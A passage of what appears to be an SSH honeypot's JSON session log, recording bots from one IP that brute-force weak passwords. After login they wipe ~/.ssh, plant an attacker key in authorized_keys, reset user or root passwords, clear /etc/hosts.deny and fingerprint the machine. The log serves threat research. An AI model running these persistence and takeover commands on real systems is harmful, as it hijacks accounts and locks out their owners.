.ssh","started_at":"2026-08-27T12:13:31.294117+00:00","ended_at":"2026-08-27T12:13:32.597213+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2243,"events":[{"seq":1,"at":"2026-08-27T12:13:13.491252+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:13:13.752991+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:13:17.289418+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:13:18.125226+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:13:18.385829+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nw9pHkfgSJ2Rx\\nw9pHkfgSJ2Rx\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:13:18.647420+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nw9pHkfgSJ2Rx\\nw9pHkfgSJ2Rx\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:13:18.907770+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:13:19.396483+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:13:19.658313+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:13:20.647659+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:13:20.911937+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:13:22.046661+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:13:22.310273+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:13:22.957252+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:13:23.215471+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:13:23.566244+00:00","kind":"output","latency_ms":null,"data":" 12:13:23 up 7 days, 9:03, 0 user, load average: 0.31, 0.3, 0.34\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:13:23.825578+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:13:24.259015+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:13:24.518025+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:13:24.992425+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:13:25.255069+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:13:25.673387+00:00","kind":"output","latency_ms":null,"data":"top - 12:13:25 up 7 days, 9:03, 0 user, load average: 0.31, 0.3, 0.34\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:13:25.933790+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:13:26.687489+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:13:26.949601+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:13:27.829494+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:13:28.091039+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:13:28.741627+00:00","kind":"output","latency_ms":null,"data":"nico"},{"seq":29,"at":"2026-08-27T12:13:29.003236+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:13:31.032644+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:13:31.296683+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:13:32.521641+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"nico","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"66fa8793-ad2b-41de-9a51-418d1b62c44a","name":"prickly-feral-numbat","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":36392,"username":"nico","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:13:15.876454+00:00","ended_at":"2026-08-27T12:13:17.213339+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"nico","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9e5c36fb-56db-4d14-b49d-f4dd3c1d794b","name":"orderly-sincere-cormorant","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":36386,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:13:14.341235+00:00","ended_at":"2026-08-27T12:13:15.355040+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"073159ff-aca6-436d-931a-c03df328242f","name":"frank-marine-tanager","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":38680,"username":"pal","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":266,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:11:31.041436+00:00","ended_at":"2026-08-27T12:11:32.356603+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2246,"events":[{"seq":1,"at":"2026-08-27T12:11:14.477206+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:11:14.744258+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:11:18.492663+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:11:19.055866+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:11:19.314884+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\nTyIqDdxvY5q3\\nTyIqDdxvY5q3\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:11:19.580899+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\nTyIqDdxvY5q3\\nTyIqDdxvY5q3\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:11:19.846935+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:11:20.185630+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:11:20.453138+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:11:21.505634+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:11:21.775847+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:11:22.857081+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:11:23.125393+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:11:23.888815+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:11:24.156772+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:11:24.837759+00:00","kind":"output","latency_ms":null,"data":" 12:11:24 up 7 days, 9:01, 0 user, load average: 0.27, 0.27, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:11:25.105475+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:11:25.416072+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:11:25.683462+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:11:26.221484+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:11:26.489310+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:11:27.159419+00:00","kind":"output","latency_ms":null,"data":"top - 12:11:27 up 7 days, 9:01, 0 user, load average: 0.27, 0.27, 0.17\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:11:27.426433+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:11:27.769489+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:11:28.037635+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:11:28.564303+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:11:28.831178+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:11:29.562124+00:00","kind":"output","latency_ms":null,"data":"pal"},{"seq":29,"at":"2026-08-27T12:11:29.831424+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:11:30.775087+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:11:31.042211+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:11:32.279531+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"pal","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"c6d33d7b-179d-457f-80a7-328403c87a56","name":"wandering-crimson-cuckoo","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":48332,"username":"pal","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:11:17.225815+00:00","ended_at":"2026-08-27T12:11:18.422477+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"pal","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"16142c38-44cf-45cd-9eec-7127bc961686","name":"sincere-coastal-ferret","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":38690,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:11:15.329177+00:00","ended_at":"2026-08-27T12:11:16.703170+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"7a3f793e-e0fa-41d6-94f4-330526e620df","name":"prairie-fringed-sandpiper","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":37150,"username":"nikita","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":266,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:09:33.060767+00:00","ended_at":"2026-08-27T12:09:34.216657+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2251,"events":[{"seq":1,"at":"2026-08-27T12:09:17.287244+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:09:17.552848+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:09:20.961180+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:09:21.492366+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:09:21.757122+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345\\nxteP7tqhtiOb\\nxteP7tqhtiOb\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:09:22.021751+00:00","kind":"input","latency_ms":null,"data":"echo \"12345\\nxteP7tqhtiOb\\nxteP7tqhtiOb\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:09:22.290287+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:09:22.552186+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:09:22.817535+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:09:23.878738+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:09:24.147258+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:09:25.035478+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:09:25.304251+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:09:25.647927+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:09:25.913463+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:09:26.543455+00:00","kind":"output","latency_ms":null,"data":" 12:09:26 up 7 days, 8:59, 0 user, load average: 0.17, 0.22, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:09:26.807442+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:09:27.371323+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:09:27.636573+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:09:28.043876+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:09:28.317258+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:09:28.671894+00:00","kind":"output","latency_ms":null,"data":"top - 12:09:28 up 7 days, 8:59, 0 user, load average: 0.17, 0.22, 0.13\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:09:28.942307+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:09:29.585476+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:09:29.849442+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:09:30.382773+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:09:30.649037+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:09:31.329960+00:00","kind":"output","latency_ms":null,"data":"nikita"},{"seq":29,"at":"2026-08-27T12:09:31.597107+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:09:32.795352+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:09:33.061850+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:09:34.142241+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"nikita","password":"12345","method":"password","accepted":true,"tier":"other"}]} {"id":"c78bf894-0318-4542-ad37-d34d5398dfa7","name":"sooty-coastal-gazelle","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":37174,"username":"nikita","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:09:20.222520+00:00","ended_at":"2026-08-27T12:09:20.884645+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"nikita","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ecdaef1f-1c0a-4b30-ae14-5c1080eedfff","name":"bronzed-blithe-gharial","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":37162,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:09:18.150740+00:00","ended_at":"2026-08-27T12:09:19.674026+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ba97293b-35e3-4029-98f9-b3d8dc862f73","name":"mossy-whispering-bushbaby","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":39734,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":266,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:07:30.593003+00:00","ended_at":"2026-08-27T12:07:31.628401+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:07:08.220424+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:07:08.484665+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:07:12.256188+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:07:13.997955+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:07:14.269843+00:00","kind":"input","latency_ms":null,"data":"echo \"root:zTCtD8i76eSf\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:07:14.529719+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:07:14.794187+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:07:16.393417+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:07:16.660219+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:07:17.877297+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:07:18.144645+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:07:19.037693+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:07:19.305243+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:07:19.931843+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:07:20.198139+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:07:21.092398+00:00","kind":"output","latency_ms":null,"data":" 12:07:21 up 7 days, 8:57, 0 user, load average: 0.18, 0.2, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:07:21.359465+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:07:22.019788+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:07:22.286255+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:07:22.969430+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:07:23.235693+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:07:23.773768+00:00","kind":"output","latency_ms":null,"data":"top - 12:07:23 up 7 days, 8:57, 0 user, load average: 0.18, 0.2, 0.12\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:07:24.039808+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:07:26.220425+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:07:26.486443+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:07:27.352587+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 